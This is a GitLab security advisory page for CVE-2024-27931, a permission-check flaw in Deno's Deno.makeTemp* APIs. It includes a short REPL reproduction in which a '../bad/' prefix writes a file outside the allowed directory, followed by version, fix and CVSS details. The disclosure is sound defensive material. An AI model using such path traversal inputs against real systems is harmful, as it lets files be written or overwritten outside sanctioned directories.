Advisory Database
  • Advisories
  • Dependency Scanning
  1. cargo
  2. ›
  3. deno
  4. ›
  5. CVE-2024-27931

CVE-2024-27931: Insufficient permission checking in `Deno.makeTemp*` APIs

March 5, 2024

Insufficient validation of parameters in Deno.makeTemp* APIs would allow for creation of files outside of the allowed directories. This may allow the user to overwrite important files on the system that may affect other systems.

A user may provide a prefix or suffix to a Deno.makeTemp* API containing path traversal characters. The permission check would prompt for the base directory of the API, but the final file that was created would be outside of this directory:

$ mkdir /tmp/good
$ mkdir /tmp/bad
$ deno repl --allow-write=/tmp/good
> Deno.makeTempFileSync({ dir: "/tmp/bad" })
┌ ⚠️  Deno requests write access to "/tmp/bad".
├ Requested by `Deno.makeTempFile()` API.
├ Run again with --allow-write to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all write permissions) > n
❌ Denied write access to "/tmp/bad".
Uncaught PermissionDenied: Requires write access to "/tmp/bad", run again with the --allow-write flag
at Object.makeTempFileSync (ext:deno_fs/30_fs.js:176:10)
at <anonymous>:1:27
> Deno.makeTempFileSync({ dir: "/tmp/good", prefix: "../bad/" })
"/tmp/good/../bad/a9432ef5"
$ ls -l /tmp/bad/a9432ef5
-rw-------@ 1 user  group  0 Mar  4 09:20 /tmp/bad/a9432ef5

References

  • github.com/advisories/GHSA-hrqr-jv8w-v9jh
  • github.com/denoland/deno
  • github.com/denoland/deno/security/advisories/GHSA-hrqr-jv8w-v9jh
  • nvd.nist.gov/vuln/detail/CVE-2024-27931

Code Behaviors & Features

Detect and mitigate CVE-2024-27931 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 1.41.1

Fixed versions

  • 1.41.1

Solution

Upgrade to version 1.41.1 or above.

Impact 5.8 MEDIUM

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

Learn more about CVSS

Weakness

  • CWE-20: Improper Input Validation

Source file

cargo/deno/CVE-2024-27931.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Tue, 13 May 2025 12:14:35 +0000.